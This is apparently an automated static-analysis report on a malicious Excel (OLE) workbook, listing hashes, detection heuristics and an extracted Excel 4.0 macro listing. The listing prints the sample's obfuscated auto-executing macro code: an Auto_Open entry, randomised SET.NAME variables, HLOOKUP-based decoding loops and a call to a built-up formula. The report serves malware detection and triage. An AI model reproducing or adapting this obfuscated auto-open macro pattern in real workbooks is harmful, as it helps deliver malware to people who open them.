Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d21b83c2cd4bc30…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:14 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 60a42ed2f649f80765100e335ca0f8be SHA-1: 143a338e0f8d2657bdf72fd4177487b696894831 SHA-256: 0d21b83c2cd4bc30d1e7202079aa1f5d329e4ca7b18828b3f231064c1c2074ec
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6765 bytes
SHA-256: 9eaf0f7d864d4a6a05be52f0ba32a2f74d68c9c1d4af02cd31556a2251890945
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UiMzJUM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B165 
' 0018     26 LABEL : Cell Value, String Constant - bcNVAGuZMnR len=0 
' 0018     26 LABEL : Cell Value, String Constant - braffzzXFyr len=0 
' 0018     27 LABEL : Cell Value, String Constant - bYCcrDhTXeXm len=0 
' 0018     27 LABEL : Cell Value, String Constant - dAYfRzjzuMQX len=0 
' 0018     27 LABEL : Cell Value, String Constant - FRWVKubeddnx len=0 
' 0018     23 LABEL : Cell Value, String Constant - jgnAtlXC len=0 
' 0018     26 LABEL : Cell Value, String Constant - ldMIUQeuWXc len=0 
' 0018     24 LABEL : Cell Value, String Constant - NqfAHIOcQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - nyJBrZmeK len=0 
' 0018     27 LABEL : Cell Value, String Constant - taYooAXsfPzt len=0 
' 0018     26 LABEL : Cell Value, String Constant - TuJGCONNHbL len=0 
' 0018     27 LABEL : Cell Value, String Constant - tWMfeLkVEtsz len=0 
' 0018     20 LABEL : Cell Value, String Constant - UHnTP len=0 
' 0018     26 LABEL : Cell Value, String Constant - VgmHirxxpaY len=0 
' 0018     25 LABEL : Cell Value, String Constant - VWzqfdvGUo len=0 
' 0018     23 LABEL : Cell Value, String Constant - VzOAZWeT len=0 
' 0018     20 LABEL : Cell Value, String Constant - WbaZF len=0 
' 0018     21 LABEL : Cell Value, String Constant - XwwIFa len=0 
' 0018     21 LABEL : Cell Value, String Constant - yhLkxf len=0 
' 0018     23 LABEL : Cell Value, String Constant - zamMlpsU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UiMzJUM,R48,"",913.00000000000000000000
'  UiMzJUM,R49,"",-224.00000000000000000000
'  UiMzJUM,R50,"",584.00000000000000000000
'  UiMzJUM,R51,"",-984.00000000000000000000
'  UiMzJUM,R52,"",327.00000000000000000000
'  UiMzJUM,R53,"",-455.00000000000000000000
'  UiMzJUM,B70,"SET.NAME("bYCcrDhTXeXm",0+VALUE("0"))",""
'  UiMzJUM,B73,"SET.NAME("yhLkxf",bYCcrDhTXeXm)",""
'  UiMzJUM,B78,"SET.NAME("FRWVKubeddnx",bYCcrDhTXeXm)",""
'  UiMzJUM,B81,"SET.NAME("ldMIUQeuWXc",COUNTA(taYooAXsfPzt))",""
'  UiMzJUM,B85,"SET.NAME("UHnTP",COUNTA(nyJBrZmeK))",""
'  UiMzJUM,B89,[],""
'  UiMzJUM,B94,"SET.NAME("VWzqfdvGUo","")",""
'  UiMzJUM,B97,"yhLkxf",""
'  UiMzJUM,B99,"SET.NAME("XwwIFa",HLOOKUP("*",taYooAXsfPzt,yhLkxf,FALSE))",""
'  UiMzJUM,B102,"dAYfRzjzuMQX",""
'  UiMzJUM,B107,"SET.NAME("WbaZF",bYCcrDhTXeXm)",""
'  UiMzJUM,B109,[],""
'  UiMzJUM,B114,"WbaZF",""
'  UiMzJUM,B117,"NqfAHIOcQ",""
'  UiMzJUM,B121,"TuJGCONNHbL",""
'  UiMzJUM,B124,"VzOAZWeT",""
'  UiMzJUM,B129,"SET.NAME("tWMfeLkVEtsz",VALUE(HLOOKUP("*",nyJBrZmeK,VzOAZWeT,FALSE)))",""
'  UiMzJUM,B132,"bcNVAGuZMnR",""
'  UiMzJUM,B137,"VWzqfdvGUo",""
'  UiMzJUM,B142,"FRWVKubeddnx",""
'  UiMzJUM,B147,NEXT(),""
'  UiMzJUM,B149,"VgmHirxxpaY",""
'  UiMzJUM,B152,[],""
'  UiMzJUM,B154,"jgnAtlXC",""
'  UiMzJUM,B159,NEXT(),""
'  UiMzJUM,B162,RETURN(),""
'  UiMzJUM,B197,"SET.NAME("braffzzXFyr",B70)",""
'  UiMzJUM,B199,"taYooAXsfPzt",""
'  UiMzJUM,B201,"SET.NAME("nyJBrZmeK",R70C15)",""
'  UiMzJUM,B204,"SET.NAME("jgnAtlXC",212)",""
'  UiMzJUM,B209,"SET.NAME("zamMlpsU",2)",""
'  UiMzJUM,B211,braffzzXFyr(),""
'  UiMzJUM,B212,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.